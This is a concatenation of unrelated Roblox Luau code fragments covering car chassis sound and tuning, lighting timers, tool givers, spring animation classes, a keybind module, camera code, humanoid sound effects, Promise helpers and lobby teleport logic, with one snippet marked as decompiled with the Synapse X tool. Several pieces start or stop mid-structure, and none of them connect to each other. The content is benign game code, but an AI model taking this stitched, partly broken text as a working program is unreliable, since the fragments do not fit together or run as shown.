-- This code is written very specific for this door -- The only changes that should be allowed are the X width of parts 'd1' and 'd2 -- The 3 black edge pieces (named "Part") can be deleted if not wanted
-- VisualGraphics
local SG = game:GetService("StarterGui") while wait() do SG:SetCoreGuiEnabled("Chat", false) end
--This script turns the light on at night and off in in the day!
b = script.Parent c = script.Parent.Parent.Parent local oh,om = 6,20 -- Open Time (hours,minutes) local ch,cm = 17,45 -- Close Time (hours, minutes) local l = game:service("Lighting") if (om == nil) then om = 0 end if (cm == nil) then cm = 0 end function TimeChanged() local ot = (oh + (om/60)) * 60 local ct = (ch + (cm/60)) * 60 if (ot < ct) then if (l:GetMinutesAfterMidnight() >= ot) and (l:GetMinutesAfterMidnight() <= ct) then b.Enabled = false c.RearLight1.Material = "SmoothPlastic" else b.Enabled = true c.RearLight1.Material = "Neon" end elseif (ot > ct) then if (l:GetMinutesAfterMidnight() >= ot) or (l:GetMinutesAfterMidnight() <= ct) then b.Enabled = false c.RearLight1.Material = "SmoothPlastic" else b.Enabled = true c.RearLight1.Material = "Neon" end end end TimeChanged() game.Lighting.Changed:connect(function(property) if (property == "TimeOfDay") then TimeChanged() end end)
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/globsToMatcher.ts
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_SoundsMisc") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=.13 script:WaitForChild("Rel") script:WaitForChild("Start") script.Parent.Values.Gear.Changed:connect(function() mult=1 end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rel",car.DriveSeat,script.Rel.SoundId,1,script.Rel.Volume,true) handler:FireServer("newSound","Start",car.DriveSeat,script.Start.SoundId,1,script.Start.Volume,false) handler:FireServer("playSound","Rel") car.DriveSeat:WaitForChild("Rel") car.DriveSeat:WaitForChild("Start") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.PreOn.Value then handler:FireServer("playSound","Start") wait(1.5) else if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end RelVolume = 3*(1 - math.min(((script.Parent.Values.RPM.Value*3)/_Tune.Redline),1)) RelPitch = (math.max((((script.Rel.SetPitch.Value + script.Rel.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rel.SetPitch.Value)) * on end if FE then handler:FireServer("updateSound","Rel",script.Rel.SoundId,RelPitch,RelVolume) else car.DriveSeat.Rel.Volume = RelVolume car.DriveSeat.Rel.Pitch = RelPitch end end
-- Set up the trigger event
script.Parent.Trigger.Touched:connect(function(obj) if (game.Players:GetPlayerFromCharacter(obj.Parent)) then local t = time() if ((t-last) < 1) then return end -- 1-second debounce (time-based) last = t GoTo(open) end end)
--// Handling Settings
Firerate = 60 / 800; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60! FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
--[=[ Shift the emissions from an Observable forward in time by a particular amount. @param seconds number @return (source: Observable<T>) -> Observable<T> ]=]
function Rx.delay(seconds) assert(type(seconds) == "number", "Bad seconds") return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) local maid = Maid.new() maid:GiveTask(source:Subscribe(function(...) local args = table.pack(...) maid[args] = cancellableDelay(seconds, function() maid[args] = nil sub:Fire(table.unpack(args, 1, args.n)) end) end, sub:GetFailComplete())) return maid end) end end
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.ForceFieldPotion -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--[[ Called when the goal state changes value, or when the speed or damping has changed. ]]
function class:update(): boolean local goalValue = self._goalState:get(false) -- figure out if this was a goal change or a speed/damping change if goalValue == self._goalValue then -- speed/damping change local damping = unwrap(self._damping) if typeof(damping) ~= "number" then logErrorNonFatal("mistypedSpringDamping", nil, typeof(damping)) elseif damping < 0 then logErrorNonFatal("invalidSpringDamping", nil, damping) else self._currentDamping = damping end local speed = unwrap(self._speed) if typeof(speed) ~= "number" then logErrorNonFatal("mistypedSpringSpeed", nil, typeof(speed)) elseif speed < 0 then logErrorNonFatal("invalidSpringSpeed", nil, speed) else self._currentSpeed = speed end return false else -- goal change - reconfigure spring to target new goal self._goalValue = goalValue local oldType = self._currentType local newType = typeof(goalValue) self._currentType = newType local springGoals = unpackType(goalValue, newType) local numSprings = #springGoals self._springGoals = springGoals if newType ~= oldType then -- if the type changed, snap to the new value and rebuild the -- position and velocity tables self._currentValue = self._goalValue local springPositions = table.create(numSprings, 0) local springVelocities = table.create(numSprings, 0) for index, springGoal in ipairs(springGoals) do springPositions[index] = springGoal end self._springPositions = springPositions self._springVelocities = springVelocities -- the spring may have been animating before, so stop that SpringScheduler.remove(self) return true -- otherwise, the type hasn't changed, just the goal... elseif numSprings == 0 then -- if the type isn't animatable, snap to the new value self._currentValue = self._goalValue return true else -- if it's animatable, let it animate to the goal SpringScheduler.add(self) return false end end end local function Spring<T>( goalState: PubTypes.Value<T>, speed: PubTypes.CanBeState<number>?, damping: PubTypes.CanBeState<number>? ): Types.Spring<T> -- apply defaults for speed and damping if speed == nil then speed = 10 end if damping == nil then damping = 1 end local dependencySet = {[goalState] = true} if xtypeof(speed) == "State" then dependencySet[speed] = true end if xtypeof(damping) == "State" then dependencySet[damping] = true end local self = setmetatable({ type = "State", kind = "Spring", dependencySet = dependencySet, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, WEAK_KEYS_METATABLE), _speed = speed, _damping = damping, _goalState = goalState, _goalValue = nil, _currentType = nil, _currentValue = nil, _currentSpeed = unwrap(speed), _currentDamping = unwrap(damping), _springPositions = nil, _springGoals = nil, _springVelocities = nil }, CLASS_METATABLE) initDependency(self) -- add this object to the goal state's dependent set goalState.dependentSet[self] = true self:update() return self end return Spring
-- module
local INPUT = {} function INPUT.GetActionInput(self, action) local input = "nil" local replacements = { Zero = "0"; One = "1"; Two = "2"; Three = "3"; Four = "4"; Five = "5"; Six = "6"; Seven = "7"; Eight = "8"; Nine = "9"; MouseButton1 = "MB1"; MouseButton2 = "MB2"; MouseButton3 = "MB3"; Return = "Enter"; Slash = "/"; Tilde = "~"; Backquote = "`"; } if actions[action] then local primary, secondary = actions[action].Primary, actions[action].Secondary if primary then input = primary.Name elseif secondary then input = secondary.Name end end if replacements[input] then input = replacements[input] end return string.upper(input) end if not initialized then local keybindChanged = Instance.new("BindableEvent") INPUT.KeybindChanged = keybindChanged.Event actionBegan = Instance.new("BindableEvent") actionEnded = Instance.new("BindableEvent") INPUT.ActionBegan = actionBegan.Event INPUT.ActionEnded = actionEnded.Event -- register actions local playerData = PLAYER_DATA:WaitForChild(PLAYER.Name) local keybinds = playerData:WaitForChild("Keybinds") local function Register(action, bindP, bindS) local primary, secondary if bindP then local A, B = string.match(bindP, "(.-)%.(.+)") if A and B then primary = Enum[A][B] end end if bindS then local A, B = string.match(bindS, "(.-)%.(.+)") if A and B then secondary = Enum[A][B] end end RegisterAction(action, primary, secondary) keybindChanged:Fire(action) end local function Handle(keybind) local action = keybind.Name local bind = keybind.Value if string.match(bind, ";") then local bindP, bindS = string.match(bind, "(.-);(.+)") if bindP and bindS then Register(action, bindP, bindS) elseif bindP then Register(action, bindP) elseif bindS then Register(action, nil, bindS) end else Register(action, bind) end end keybinds.ChildAdded:connect(function(keybind) keybind.Changed:connect(function() Handle(keybind) end) RunService.Stepped:wait() Handle(keybind) end) repeat RunService.Stepped:wait() until #keybinds:GetChildren() > 0 for _, keybind in pairs(keybinds:GetChildren()) do keybind.Changed:connect(function() Handle(keybind) end) Handle(keybind) end initialized = true end return INPUT
--// 설정
local Main = (script.owner.Value) local Player = game.Players.LocalPlayer local Found = false
--- Adds a hook to be called when any command is run
function Registry:RegisterHook(hookName, callback, priority) if not self.Hooks[hookName] then error(("Invalid hook name: %q"):format(hookName), 2) end table.insert(self.Hooks[hookName], { callback = callback; priority = priority or 0; } ) table.sort(self.Hooks[hookName], function(a, b) return a.priority < b.priority end) end
-- Signal Type enums
RaycastHitbox.SignalType = { Default = 1, Single = 2, --- Defaults to Single connections only for legacy purposes }
-- This loads from, or lazily creates, NumberValue objects for exposed parameters
function OrbitalCamera:LoadNumberValueParameters() -- These initial values do not require change listeners since they are read only once self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil) self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil) -- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue) self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues) self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues) self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues) self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues) self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues) self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues) self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues) -- Internal values set (in radians, from degrees), plus sanitization self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"]) self.curElevationRad = math.rad(self.externalProperties["InitialElevation"]) self.curDistance = self.externalProperties["InitialDistance"] self:SetAndBoundsCheckAzimuthValues() self:SetAndBoundsCheckElevationValues() self:SetAndBoundsCheckDistanceValues() end function OrbitalCamera:GetModuleName() return "OrbitalCamera" end function OrbitalCamera:SetInitialOrientation(humanoid: Humanoid) if not humanoid or not humanoid.RootPart then warn("OrbitalCamera could not set initial orientation due to missing humanoid") return end local newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector()) local vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y) if not Util.IsFinite(horizontalShift) then horizontalShift = 0 end if not Util.IsFinite(vertShift) then vertShift = 0 end end
--[
local hpScaling = _Tune.WeightScaling*10 local FBrakeForce = _Tune.FBrakeForce local RBrakeForce = _Tune.RBrakeForce local PBrakeForce = _Tune.PBrakeForce local fFD = _Tune.FinalDrive local fFDr = fFD*30/math.pi local wDia = car.RearSection.Wheel.Size.X local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 local HP=_Tune.Horsepower/100 local PeakRPM=_Tune.PeakRPM/1000 local Sharpness=_Tune.PeakSharpness local CurveMult=_Tune.CurveMult
Running = 1;
Swimming = 2; Climbing = 3, Jumping = 4; GettingUp = 5; FreeFalling = 6; FallingDown = 7; Landing = 8; Splash = 9; } local Humanoid = nil local Head = nil --SFX ID to Sound object local Sounds = {} do local Figure = script.Parent.Parent Head = Figure:WaitForChild("Head") while not Humanoid do for _,NewHumanoid in pairs(Figure:GetChildren()) do if NewHumanoid:IsA("Humanoid") then Humanoid = NewHumanoid break end end Figure.ChildAdded:wait() end Sounds[SFX.Died] = Head:WaitForChild("Died") Sounds[SFX.Running] = Head:WaitForChild("Running") Sounds[SFX.Swimming] = Head:WaitForChild("Swimming") Sounds[SFX.Climbing] = Head:WaitForChild("Climbing") Sounds[SFX.Jumping] = Head:WaitForChild("Jumping") Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp") Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling") Sounds[SFX.Landing] = Head:WaitForChild("Landing") Sounds[SFX.Splash] = Head:WaitForChild("Splash") end local Util Util = { --Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x. YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y) --(y - y1)/(x - x1) = m local m = (pt1y - pt2y) / (pt1x - pt2x) --float b = pt1.y - m * pt1.x; local b = (pt1y - m * pt1x) return m * x + b end; --Clamps the value of "val" between the "min" and "max" Clamp = function(val,min,max) return math.min(max,math.max(min,val)) end; --Gets the horizontal (x,z) velocity magnitude of the given part HorizontalSpeed = function(Head) local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0) return hVel.magnitude end; --Gets the vertical (y) velocity magnitude of the given part VerticalSpeed = function(Head) return math.abs(Head.Velocity.Y) end; --Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop --If these properties are enabled, use them. Play = function(sound) if sound.TimePosition ~= 0 then sound.TimePosition = 0 end if not sound.IsPlaying then sound.Playing = true end end; Pause = function(sound) if sound.IsPlaying then sound.Playing = false end end; Resume = function(sound) if not sound.IsPlaying then sound.Playing = true end end; Stop = function(sound) if sound.IsPlaying then sound.Playing = false end if sound.TimePosition ~= 0 then sound.TimePosition = 0 end end; } do -- List of all active Looped sounds local playingLoopedSounds = {} -- Last seen Enum.HumanoidStateType local activeState = nil -- Verify and set that "sound" is in "playingLoopedSounds". function setSoundInPlayingLoopedSounds(sound) for i=1, #playingLoopedSounds do if playingLoopedSounds[i] == sound then return end end table.insert(playingLoopedSounds,sound) end -- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped. function stopPlayingLoopedSoundsExcept(except) for i=#playingLoopedSounds,1,-1 do if playingLoopedSounds[i] ~= except then Util.Pause(playingLoopedSounds[i]) table.remove(playingLoopedSounds,i) end end end -- Table of Enum.HumanoidStateType to handling function local stateUpdateHandler = { [Enum.HumanoidStateType.Dead] = function() stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.Died] Util.Play(sound) end; [Enum.HumanoidStateType.RunningNoPhysics] = function() stateUpdated(Enum.HumanoidStateType.Running) end; [Enum.HumanoidStateType.Running] = function() local sound = Sounds[SFX.Running] stopPlayingLoopedSoundsExcept(sound) if Util.HorizontalSpeed(Head) > 0.5 then Util.Resume(sound) setSoundInPlayingLoopedSounds(sound) else stopPlayingLoopedSoundsExcept() end end; [Enum.HumanoidStateType.Swimming] = function() if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalSpeed(Head) > 0.1 then local splashSound = Sounds[SFX.Splash] splashSound.Volume = Util.Clamp( Util.YForLineGivenXAndTwoPts( Util.VerticalSpeed(Head), 100, 0.28, 350, 1), 0,1) Util.Play(splashSound) end do local sound = Sounds[SFX.Swimming] stopPlayingLoopedSoundsExcept(sound) Util.Resume(sound) setSoundInPlayingLoopedSounds(sound) end end; [Enum.HumanoidStateType.Climbing] = function() local sound = Sounds[SFX.Climbing] if Util.VerticalSpeed(Head) > 0.1 then Util.Resume(sound) stopPlayingLoopedSoundsExcept(sound) else stopPlayingLoopedSoundsExcept() end setSoundInPlayingLoopedSounds(sound) end; [Enum.HumanoidStateType.Jumping] = function() if activeState == Enum.HumanoidStateType.Jumping then return end stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.Jumping] Util.Play(sound) end; [Enum.HumanoidStateType.GettingUp] = function() stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.GettingUp] Util.Play(sound) end; [Enum.HumanoidStateType.Freefall] = function() if activeState == Enum.HumanoidStateType.Freefall then return end local sound = Sounds[SFX.FreeFalling] sound.Volume = 0 stopPlayingLoopedSoundsExcept() end; [Enum.HumanoidStateType.FallingDown] = function() stopPlayingLoopedSoundsExcept() end; [Enum.HumanoidStateType.Landed] = function() stopPlayingLoopedSoundsExcept() if Util.VerticalSpeed(Head) > 75 then local landingSound = Sounds[SFX.Landing] landingSound.Volume = Util.Clamp( Util.YForLineGivenXAndTwoPts( Util.VerticalSpeed(Head), 50, 0, 100, 1), 0,1) Util.Play(landingSound) end end; [Enum.HumanoidStateType.Seated] = function() stopPlayingLoopedSoundsExcept() end; } -- Handle state event fired or OnChange fired function stateUpdated(state) if stateUpdateHandler[state] ~= nil then stateUpdateHandler[state]() end activeState = state end Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end) Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end) Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end) Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end) Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end) Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end) Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end) Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end) -- required for proper handling of Landed event Humanoid.StateChanged:connect(function(old, new) stateUpdated(new) end) function onUpdate(stepDeltaSeconds, tickSpeedSeconds) local stepScale = stepDeltaSeconds / tickSpeedSeconds do local sound = Sounds[SFX.FreeFalling] if activeState == Enum.HumanoidStateType.Freefall then if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then Util.Resume(sound) --Volume takes 1.1 seconds to go from volume 0 to 1 local ANIMATION_LENGTH_SECONDS = 1.1 local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1) else sound.Volume = 0 end else Util.Pause(sound) end end do local sound = Sounds[SFX.Running] if activeState == Enum.HumanoidStateType.Running then if Util.HorizontalSpeed(Head) < 0.5 then Util.Pause(sound) end end end end local lastTick = tick() local TICK_SPEED_SECONDS = 0.25 while true do onUpdate(tick() - lastTick,TICK_SPEED_SECONDS) lastTick = tick() wait(TICK_SPEED_SECONDS) end end
--Interior
local INT_PCK = nil for i,v in pairs(misc:GetDescendants()) do if v:IsA("ObjectValue") and v.Name == "INTERIOR_PACK" then INT_PCK = v.Value end end if INT_PCK then if INT_PCK:FindFirstChild("Handbrake") then local HB = INT_PCK.Handbrake MakeWeld(HB.W,car.DriveSeat,"Motor",0.1) ModelWeld(HB.Parts,HB.W) ModelWeld(HB.Misc,car.DriveSeat) end if INT_PCK:FindFirstChild("Paddle_Shifter") then local PS = INT_PCK.Paddle_Shifter MakeWeld(PS.L,car.DriveSeat,"Motor",0.1) ModelWeld(PS.Left,PS.L) MakeWeld(PS.R,car.DriveSeat,"Motor",0.1) ModelWeld(PS.Right,PS.R) end if INT_PCK:FindFirstChild("Pedals") then local PD = INT_PCK.Pedals MakeWeld(PD.B,car.DriveSeat,"Motor",0.1) ModelWeld(PD.Brake,PD.B) MakeWeld(PD.C,car.DriveSeat,"Motor",0.1) ModelWeld(PD.Clutch,PD.C) MakeWeld(PD.T,car.DriveSeat,"Motor",0.1) ModelWeld(PD.Throttle,PD.T) end if INT_PCK:FindFirstChild("Shifter") then local SH = INT_PCK.Shifter MakeWeld(SH.Hinge,car.DriveSeat,"Weld") MakeWeld(SH.W1,SH.Hinge,"Motor",0.05) MakeWeld(SH.W2,SH.W1,"Motor",0.05) ModelWeld(SH.Parts,SH.W2) ModelWeld(SH.Misc,car.DriveSeat) end if INT_PCK:FindFirstChild("Steering_Wheel") then local SW = INT_PCK.Steering_Wheel MakeWeld(SW.W,car.DriveSeat,"Motor",0.5) ModelWeld(SW.Parts,SW.W) end end car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
--[=[ Observes the spring animating @param signal RBXScriptSignal @return Observable<T> ]=]
function SpringObject:ObserveOnSignal(signal) return Observable.new(function(sub) local maid = Maid.new() local startAnimate, stopAnimate = StepUtils.bindToSignal(signal, function() local animating, position = SpringUtils.animating(self._currentSpring) sub:Fire(SpringUtils.fromLinearIfNeeded(position)) return animating end) maid:GiveTask(stopAnimate) maid:GiveTask(self.Changed:Connect(startAnimate)) startAnimate() return maid end) end
--[[Weight and CG]]
Tune.Weight = 5000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible
--[=[ Repeatedly calls a Promise-returning function up to `times` number of times, waiting `seconds` seconds between each retry, until the returned Promise resolves. If the amount of retries is exceeded, the function will return the latest rejected Promise. @since v3.2.0 @param callback (...: P) -> Promise<T> @param times number @param seconds number @param ...? P ]=]
function Promise.retryWithDelay(callback, times, seconds, ...) assert(isCallable(callback), "Parameter #1 to Promise.retry must be a function") assert(type(times) == "number", "Parameter #2 (times) to Promise.retry must be a number") assert(type(seconds) == "number", "Parameter #3 (seconds) to Promise.retry must be a number") local args, length = { ... }, select("#", ...) return Promise.resolve(callback(...)):catch(function(...) if times > 0 then Promise.delay(seconds):await() return Promise.retryWithDelay(callback, times - 1, seconds, unpack(args, 1, length)) else return Promise.reject(...) end end) end
--[ LOCALS ]--
local VIPGamepassId = 0 -- VIP GAMEPASS ID local GamepassId = 0 -- GAMEPASS ID
--[[ enumList = EnumList.new(name: string, enums: string[]) enumList:BelongsTo(item): boolean Example: direction = EnumList.new("Direction", {"Up", "Down", "Left", "Right"}) leftDir = direction.Left print("IsDirection", direction:BelongsTo(leftDir)) --]]
type EnumNames = {string} local Symbol = require(script.Parent.Symbol)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources")); while not v1.Loaded do game:GetService("RunService").Heartbeat:Wait(); end; function lerp(p1, p2, p3) return p1 + (p2 - p1) * p3; end; function quadBezier(p4, p5, p6, p7) return lerp(lerp(p5, p6, p4), lerp(p6, p7, p4), p4); end; function ShootFire(p8, p9, p10) local u1 = workspace:GetServerTimeNow(); coroutine.wrap(function() local v2 = v1.Assets.Models.PickupParticle:Clone(); v2.Parent = workspace; local u2 = p9 + Vector3.new(0, math.random(0, 25), 0) + (p9 - p10).Unit:Cross(Vector3.yAxis) * math.random(-40, 40); v1.Functions.Util.RenderLoop(p8 - u1, function(p11, p12, p13) if v2 then v2.CFrame = CFrame.new(v1.Functions.Util.QuadBezier(p13, p9, u2, p10), v1.Functions.Util.QuadBezier(p13 + 0.01, p9, u2, p10)); end; end); local v3 = v1.Assets.Models.HitParticle:Clone(); v3.CFrame = v2.CFrame; v3.Parent = workspace; for v7, v8 in pairs(v3.Attachment:GetChildren()) do if v7 then else break; end; if v8.ClassName == "ParticleEmitter" then v8:Emit(tonumber(string.gsub(v8.Name, "%D", ""))); end; end; v2:Destroy(); task.delay(1, v3.Destroy, v3); end)(); end; function FireAt(...) ShootFire(...); v1.Network.Fire("Shoot Fire At", ...); end; v1.Signal.Fired("Replicate Shoot Fire", FireAt); v1.Network.Fired("Replicate Shoot Fire", FireAt);
-- Local variables
local player = Players.LocalPlayer local sourceLanguageCode = "en"
-- This is so that we don't attempt another spawn right away (or at least until this one is done) -- .This should be cleared when the server announcement is seen -- .In the future, matchmaking may cause more than a single server to be spawned per lobby.
local _pendingServerCreation = {} local _joinEvent = nil local _serverListEvent = nil local _statusEvent = nil local _messageHandlers = {} function Lobby._teleportWithRetry(placeId, token, player, spawnName, teleportData, customLoadingScreen) local connection connection = TeleportService.TeleportInitFailed:Connect(function(failedPlayer, status, errorMessage) if failedPlayer == player then Log.Error.Lobby("Teleport failed for %s, TeleportResult: %s", player.Name, status.Name) if status == Enum.TeleportResult.Failure or status == Enum.TeleportResult.Flooded then connection:Disconnect() delay(2, function() Log.Warn.Lobby("Reattempting teleport") TeleportService:TeleportToPrivateServer(placeId, token, {player}, spawnName, teleportData, customLoadingScreen) end) end end end) TeleportService:TeleportToPrivateServer(placeId, token, {player}, spawnName, teleportData, customLoadingScreen) end function Lobby._retryJoin(pending) local player = Players:GetPlayerByUserId(pending.player_id) if player then Log.Warn.Lobby("Retrying") Lobby._teleportPlayer(player, pending.place_id, pending.game_mode) else -- This player didn't make it. Long live this player. _pendingTickets[pending.player_id] = nil end end function Lobby._requestServerList() Log.Debug.Lobby("requestServerList") local req = { type = "ANNOUNCE:REQUEST", lobby = game.JobId, } MessagingService:PublishAsync("SERVER", req) end function Lobby._getClientServerData() local data = {} for serverId, serverData in pairs(_serverList) do local entry = { server = serverId, slots_available = serverData.slots_available, nonresponsive = _nonresponsiveServers[serverId], } table.insert(data, entry) end return data end function Lobby._sendServerListToAllClients() -- Sending everything all at once right now local data = Lobby._getClientServerData() _serverListEvent:FireAllClients(data) end function Lobby._sendServerListToClient(player) local data = Lobby._getClientServerData() _serverListEvent:FireClient(player, data) end function Lobby._handleServerAnnounce(pub) local data = pub.Data local server = data.server local creationId = data.creation_id Log.Debug.Lobby("Heard from server: %s", server) Log.Debug.LobbyData(Util.tableToString(pub)) _serverList[server] = data _nonresponsiveServers[server] = nil if creationId then _pendingServerCreation[creationId] = nil end Lobby._sendServerListToAllClients() end function Lobby._handleServerRemoval(pub) local removedServer = pub.Data.server Log.Debug.Lobby("Server %s removed", removedServer) local removals = {} -- Remove the actual server entry _serverList[removedServer] = nil -- Removing any pending joins to the removed server for playerId, pendingData in pairs(_pendingTickets) do if pendingData.server == removedServer then table.insert(removals, pendingData) end end for _, pendingData in ipairs(removals) do local playerId = pendingData.player_id _pendingTickets[playerId] = nil -- This player was attempting to join to the removed server, so send them to another one. local player = Players:GetPlayerByUserId(playerId) Lobby._teleportPlayer(player, pendingData.place_id, pendingData.game_mode) end Lobby._sendServerListToAllClients() end function Lobby._sendJoinRequest(serverData, player, mode, destinationKey) local server = serverData.server local req = { type = "JOIN:REQUEST", lobby = game.JobId, player = player.UserId, count = 1, } _statusEvent:FireClient(player, { status = string.format("Connecting to %s", server) }) Log.Debug.Lobby("Join request sent to %s for player %s", server, player.UserId) MessagingService:PublishAsync(tostring(server), req) _pendingTickets[player.UserId] = { player_id = player.UserId, place_id = serverData.place_id, server = server, game_mode = mode, time = tick(), match_key = destinationKey, } end function Lobby._handleJoinResponse(pub) local status = pub.Data.status local token = pub.Data.token local userId = pub.Data.player local player = Players:GetPlayerByUserId(userId) local pendingData = _pendingTickets[userId] _pendingTickets[userId] = nil if status == Util._joinCodes.SUCCESS then -- TODO: Warn on no pending ticket if pendingData then Lobby._teleportWithRetry(pendingData.place_id, token, player) end else Log.Warn.JoinFailure("Player %s failed to join %s (%s)", userId, pub.Data.server, Util.getJoinCodeText(status)) -- Join a different server -- .If the player was forbidden, may need to store that information somehow so we don't try the same one again if pendingData then Lobby._teleportPlayer(player, _pendingTickets.place_id, _pendingTickets.game_mode) end end end function Lobby._handleJoinExpired(pub) local playerId = pub.Data.player Log.Error.LobbyJoin("Expired %s", playerId) _pendingTickets[playerId] = nil end function Lobby._registerHandler(messageType, handler) _messageHandlers[messageType] = handler end function Lobby._dispatchMessage(pub) local handler = _messageHandlers[pub.Data.type] if handler then handler(pub) else -- TODO: Error end end function Lobby._generateMatchKey(placeId, mode) return string.format("%s:%s", placeId, mode) end function Lobby._teleportPlayer(player, destinationId, mode) local destinationKey = Lobby._generateMatchKey(destinationId, mode) -- If there are pending server creations, we wait until they have completed or timed out -- .We could continuously iterate through the server list to see if another server comes online during this time, but for this case that complicates things needlessly. -- TODO: Evaluate whether this needs to be wrapped in a coroutine or similar and whether that should be done implicitly here -- .Currently _processJoinQueue is wrapped, but honoring the queue is done in a single thread. -- .Also, in that same high-level loop, _detectDeadServers would inherently pause against the completion of _processJoinQueue, which could account for some old stuff. _statusEvent:FireClient(player, { status = "Waiting..." }) while true do local waiting = false local creationTimeouts = {} for creationId, pendingCreation in pairs(_pendingServerCreation) do if pendingCreation.match_key == destinationKey then if tick() - pendingCreation.time >= _serverCreationTimeout then table.insert(creationTimeouts, creationId) Log.Error.Lobby("Server creation '%s' exceeded timeout", creationId) else waiting = true end end end for _, creationId in ipairs(creationTimeouts) do _pendingServerCreation[creationId] = nil end if not waiting then break end wait(1) end for _, serverData in pairs(_serverList) do if serverData.match_key == destinationKey and serverData.slots_available > 0 and not Lobby._isServerBlacklisted(player, serverData.server) then Lobby._sendJoinRequest(serverData, player, mode, destinationKey) return end end _statusEvent:FireClient(player, { status = "Creating fresh server" }) -- Create a gameplay server local token = TeleportService:ReserveServer(destinationId) 